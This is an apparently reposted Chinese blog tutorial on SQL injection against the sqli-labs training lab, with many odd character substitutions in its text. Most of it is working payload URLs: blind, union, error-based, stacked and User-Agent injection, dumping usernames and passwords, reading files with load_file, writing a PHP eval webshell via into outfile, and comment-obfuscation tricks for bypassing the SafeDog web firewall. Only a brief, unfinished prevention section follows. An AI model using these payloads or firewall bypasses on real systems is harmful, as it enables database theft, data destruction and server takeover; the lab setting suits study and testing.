关于sql注入:SQL注入学习与绕过安全狗

10次阅读

共计 10340 个字符,预计需要花费 26 分钟才能阅读完成。

免责申明

浏览前请先熟读《网络安全法》相干内容,以下知识点仅供学习应用,因为流传,利用此文所提供的信息而造成的任何间接或间接的结果和损失,均由使用者自己负责,文章作者不承当任何责任。

理解 SQL 注入

SQL 注入是因为后盾 SQL 语句拼接了用户的输出,而且 Web 应用程序对用户输出数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者能够通过结构不同的 SQL 语句来实现对数据库的任意操作。比方查问、删除,减少,批改数据等等,如果数据库的用户权限足够大,还能够对操作系统执行操作。
SQL 注入能够分为平台层注入和代码层注入。前者由不平安的数据库配置或数据库平台的破绽所致;后者次要是因为程序员对输出未进行粗疏地过滤。SQL 注入是针对数据库、后盾、零碎层面的攻打!

相熟数据库

目前市面上应用 MySql 的数量还是比拟多的,所以佩剑以 MySql 举例,所以先理解点 MySQL 无关的常识。在 MySQL5.0 之后增加了 information_schema 的数据库,该数据库中的表都是只读的,不能过程正删改查,实际上就是一个视图,不是根本的表构造。无奈被删除。

DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'

特地要留神的是数据库中的正文符,在后续的 SQL 注入过程中,绕过平安狗有特地重要的作用,须要灵便组合搭配

mysql 中正文符:#、/**/、-- 

information_schema 数据库中三个很重要的表:

information_schema.schemata: 该数据表存储了 mysql 数据库中的所有数据库的库名
information_schema.tables:该数据表存储了 mysql 数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了 mysql 数据库中的所有列的列名

Mysql 罕用函数

  1. version():查询数据库的版本
  2. user():查询数据库的使用者
  3. database():数据库
  4. system_user():零碎用户名
  5. session_user():连贯数据库的用户名
  6. current_user:以后用户名
  7. load_file():读取本地文件
  8. @@datadir:读取数据库门路
  9. @@basedir:mysql 装置门路
  10. @@version_complie_os:查看操作系统
  11. ascii(str) : 返回给定字符的 ascii 值,如果 str 是空字符串,返回 0;如果 str 是 NULL,返回 NULL。如 ascii(“a”)=97
  12. length(str) : 返回给定字符串的长度,如 length(“string”)=6
  13. substr(string,start,length) : 对于给定字符串 string,从 start 位开始截取,截取 length 长度 , 如 substr(“chinese”,3,2)=”in”
  14. substr()、stbstring()、mid() 三个函数的用法、性能均统一
  15. concat(username):将查问到的 username 连在一起,默认用逗号分隔
  16. concat(str1,’‘,str2):将字符串 str1 和 str2 的数据查问到一起,两头用 连贯
  17. group_concat(username):将 username 数据查问在一起,用逗号连贯
  18. limit 0,1:查问第 1 个数,limit 1,1:查问第 2 个数

以上是在 SQL 注入过程中常常用到的,如果还须要理解其余的函数能够自行百度

SQL 注入的分类

注入点类型分类

  1. 数字类型
  2. 字符串类型
  3. 搜寻型

    提交形式分类

  4. GET
  5. POST
  6. COOKIE
  7. HTTP 头

    获取信息的形式分类

  8. 布尔盲注
  9. 工夫盲注
  10. 报错注入
  11. 联结查问
  12. 堆查问注入

判断是否存在 SQL 注入

一个网站有特地多页面,怎么判断是否存在 SQL 注入。能够通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap 等。也能够在 GitHub 上子域名扫描器,把整个站所有子域名都扫描进去,而后再逐渐扫描破绽【扫描的网站肯定要在得到许可后,能力扫描】。
然而有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是须要手动判断是否有 SQL 注入破绽。上面以 MySql 5.5 版本为例,相熟 SQL 注入流程,积攒教训。

盲注:服务器没有谬误回显时实现的注入攻打。服务器没有谬误回显,无奈判断是否胜利注入
所以须要找到一个方面让服务器报错
  1. 先加单引号 ’、双引号 ”、单括号)、双括号))等看看是否报错,如果报错就可能存在 SQL 注入破绽了。
  2. 在 URL 前面加 and 1=1、and 1=2 看页面是否显示一样,显示不一样的话,必定存在 SQL 注入破绽了。
  3. 有时候通过简略的条件语句比方 and 1=2 是无奈看出异样,就须要工夫盲注

    环境筹备

    上面咱们搭建 sqli-labs 靶机验证个个注入办法
    我把靶机装置在 Centos7 虚拟机上,装置的时候须要装置小皮【phpstudy】官网教程曾经十分具体就不赘述了。强调的一点就是 sqli-labs 用的 php 框架比拟老,须要装置 5.x 版本的 php,如果是默认的 7.x 版本启动会报错,装置 5.5+mysql 默认用户名明码即可
    批改 sqli-labs 配置文件

    输出地址就能拜访

    点击 Setup/reset Database for labs 链接主动靶场数据脚本插入到数据库中
    初学能够革新一下靶场的代码,让 sql 显示到页面上,能更好的了解 sql 输出的全过程。当然间接装置到本地会更好操作一下,看集体习惯

    这样就能够应用了

    Boolean 盲注【耗时】

    咱们先以 Less- 5 举例,首先代码革新一下,将 SQL 打在页面上,能够更不便咱们了解


    我用的是火狐浏览器,能够在扩大里装置 Max HackBar【收费】,在应用的过程中会很不便。
    当咱们输出 http://127.0.0.1/sqli/Less-5/…’ 咱们失去上面的页面

    由此能够看出代码把 id 当成了字符来解决,而且前面还有一个限度显示的行数 limit 0,1。当咱们输出的语句正确时,就显示 You are in…. 当咱们输出的语句谬误时就报出 SQL 语句谬误。
    依据以上的信息咱们能够猜出 sql 的大略写法

    $sql="SELECT * FROM 表 WHERE id='$id'LIMIT 0,1";    //sql 查问语句
    $result=mysql_query($sql);

    所以能够通过一些结构语句猜测咱们的判断,盲注个别用到的函数有 substr()、length(),exists()、concat()、ascii()等。

    1、判断数据库类型

    这个例子曾经通知咱们数据类型,在不晓得什么数据库的,须要通过 exists()函数判断是什么数据库

    // 判断是否是 Mysql 数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) #
     
    // 判断是否是 access 数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) #
    
    // 判断是否是 Sqlserver 数据库
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #

    看哪个不报错就能判断是什么数据库,前面的 #号是正文掉前面的 sql
    对于 MySQL 数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作。
    information_schema.tables 存储了数据表的元数据信息,上面对罕用的字段进行介绍:

  4. table_schema: 记录数据库名
  5. table_name: 记录数据表名
  6. table_rows: 对于表的粗略行预计
  7. data_length : 记录表的大小(单位字节)

    2、判断以后数据库名
    1:判断以后数据库的长度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5   // 失常显示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10   // 不显示任何数据
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7   // 失常显示
    http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8   // 不显示任何数据
     
    大于 7 失常显示,大于 8 不显示,所以可知以后数据库长度为 8
     
    2:判断以后数据库的字符, 和下面的办法一样,利用二分法顺次判断
    // 判断数据库的第一个字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100
    // 判断数据库的第二个字符
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100
     
    ...........
    由此能够判断出以后数据库为 security
    3、判断以后数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin)   // 猜想以后数据库中是否存在 admin 表
    1:判断以后数据库中表的个数
    // 判断以后数据库中的表的个数是否大于 5,用二分法顺次判断,最初得悉以后数据库表的个数为 4
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
    2:判断每个表的长度
    // 判断第一个表的长度,用二分法顺次判断,最初可知以后数据库中第一个表的长度为 6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
     
    // 判断第二个表的长度,用二分法顺次判断,最初可知以后数据库中第二个表的长度为 6
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
    3:判断每个表的每个字符的 ascii 值
    // 判断第一个表的第一个字符的 ascii 值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
     
    // 判断第一个表的第二个字符的 ascii 值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
    .........
    由此可判断出存在表 emails、referers、uagents、users,猜想 users 表中最有可能存在账户和明码,所以以下判断字段和数据在 users 表中判断
    4、判断以后数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin)   // 猜想是否存在 username 字段
    1:判断表中字段的个数
    // 判断 users 表中字段个数是否大于 5,这里的 users 表是通过下面的语句爆进去的
    http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 #
    2:判断字段的长度
    // 判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
     
    // 判断第二个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
    3:判断字段的 ascii 值
    // 判断第一个字段的第一个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
     
    // 判断第一个字段的第二个字符的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
    ...........
    由此可判断出 users 表中存在 id、username、password 字段
    5、判断字段中的数据
    下面办法曾经晓得 users 中有三个字段 id、username、password,当初爆出每个字段的数据
     
    1: 判断数据的长度
    // 判断 id 字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5
     
    // 判断 id 字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5
    2:判断数据的 ascii 值
    // 判断 id 字段的第一个数据的第一个字符的 ascii 值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100
     
    // 判断 id 字段的第一个数据的第二个字符的 ascii 值
    http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100
    ...........

    union 注入

    union 联结查问实用于有显示列的注入,能够通过 order by 来判断以后表的列数
    咱们用 Less- 2 举例

    http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #



    阐明只有 3 个字段

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #


    留神 id 要输出一个没有的参数,能力将 union 显示进去

    http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #

    也能够写成谬误数据 and 1=2
    这时候须要一些函数来帮咱们查问重要信息

    version():数据库的版本     
    database() : 以后所在的数据库      
    user():数据库的用户   
    current_user() : 以后用户名
    system_user() : 零碎用户名     
    session_user() : 连贯到数据库的用户名
    @@basedir :  数据库的装置目录
    @@datadir:数据库文件的寄存目录  


    通过 union 注入取得更多的信息

    // 取得所有的数据库 
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(schema_name),3 from information_schema.schemata#
     
    // 取得所有的表
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(table_name),3 from information_schema.tables#
    // 取得所有的列
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(column_name),3 from information_schema.columns#
     
    #获取以后数据库中指定表的指定字段的值 (只能是 database() 所在的数据库内的数据,因为处于以后数据库下的话不能查问其余数据库内的数据)
    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(password),3 from users #


    通过上面的语句失去以后数据库的所有的表

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #


    通过上面的语句晓得每一个表中的列

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #


    最初将 users 表中的所有数据都给爆进去了

    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(id,'**',username,'**',password),3 from users #

当有显示列的时候,能够利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;

文件读写

union 注入读取文件
http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,2,load_file("D:/1.txt")#
union 写入文件
union 注入写入一句话木马  into outfile 和 into dumpfile 都能够
http://127.0.0.1/sqli/Less-1/?id=-1  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'D:/1.php' #

报错注入

页面上没有显示位,然而须要输入 SQL 语句执行错误信息

ExtractValue 报错注入
EXTRACTVALUE (XML_document, XPath_string)

第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格局的字符串).

作用:从指标 XML 中返回蕴含所查问值的字符串
// 能够将 user() 改成任何咱们想要查问的函数和 sql 语句 ,0x7e 示意的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1  and extractvalue(1,concat(0x7e,database(),0x7e))#

UpdateXml 报错注入

UpdateXml 函数实际上是去更新了 XML 文档,然而咱们在 XML 文档门路的地位外面写入了子查问,咱们输出特殊字符,而后就因为不合乎输出规定而后报错了,然而报错的时候他其实曾经执行了那个子查问代码!

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格局的字符串) 
第三个参数:new_value,String 格局,替换查找到的符合条件的数据

// 能够将 user() 改成任何咱们想要查问的函数和 sql 语句 ,0x7e 示意的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,database(),0x7e),1)#

工夫盲注

Timing Attack 注入,也就是工夫盲注。通过简略的条件语句比方 and 1=2 是无奈看出异样的。
在 MySQL 中,有一个 Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的后果,是将表达式 expr 执行 count 次。利用 Benchmark 函数,能够让同一个函数执行若干次,使得后果返回的工夫比平时要长,通过工夫长短的变动,能够判断注入语句是否执行胜利.

http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#

REGEXP 正则匹配

正则表达式通常被用来检索、替换那些合乎某个模式 (规定) 的文本

http://127.0.0.1/sqli/Less-1/?id=1 and  1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #

重叠注入

在 SQL 中,分号; 是用来示意一条 sql 语句的完结, 在 ; 完结后持续结构下一条语句继续执行就是迭代注入。【目前集体发现只有 mysql 好用】

Select * from user where name='root';DROP database user;

二次注入

二次注入破绽是一种在 Web 应用程序中宽泛存在的安全漏洞模式。绝对于一次注入破绽而言,二次注入破绽更难以被发现,然而它却具备与一次注入攻打破绽雷同的攻打威力。
以 Less-24 为例
新建一个账号

新建的用户名为:admin’# 明码为:123456


数据曾经插入

登录批改明码

将 admin 明码批改了

为什么会这样呢?咱们查看批改明码页面源代码,发现这里存在显著的 SQL 注入破绽

$sql = "UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :(');
        $row = mysql_affected_rows();

当咱们提交用户名 admin’# 批改明码为 aaaaaa 的时候,这条 SQL 语句就变成了上面的语句了。# 把前面的都给正文了,所以就是批改了 admin 用户的明码为 aaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaa'where username='admin'#' and password='$curr_pass' ";

User-Agent 注入

拜访 http://127.0.0.1/sqli/Less-18/ 咱们先抓包

批改其 User-Agent 为

and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1  #

页面将以后的数据库显示进去了

绕过平安狗

环境筹备

在装置平安狗之前,肯定要先做好装置 apache2.4 这一项
平安狗配置

下载最新 4.0 平安狗

1= 1 绕过

首先这里的话是尝试一个 1 =1

更换成 true=true 进行尝试 还是不行
尝试用 /*/ 来充当正文符 仍然不行
发现很多都能够充当空格来进行绕过,咱们随便筛选一个进行尝试,结构 payload 如下

http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #

order by 绕过

http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+

联结查问绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+

各种正文绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+

SQL 注入的预防

  • 能够采纳预编译语句集,它内置了解决 SQL 注入的能力,只有应用它的 setXXX 办法传值即可。
  • 应用正则表达式过滤
  • 待更新
正文完
 0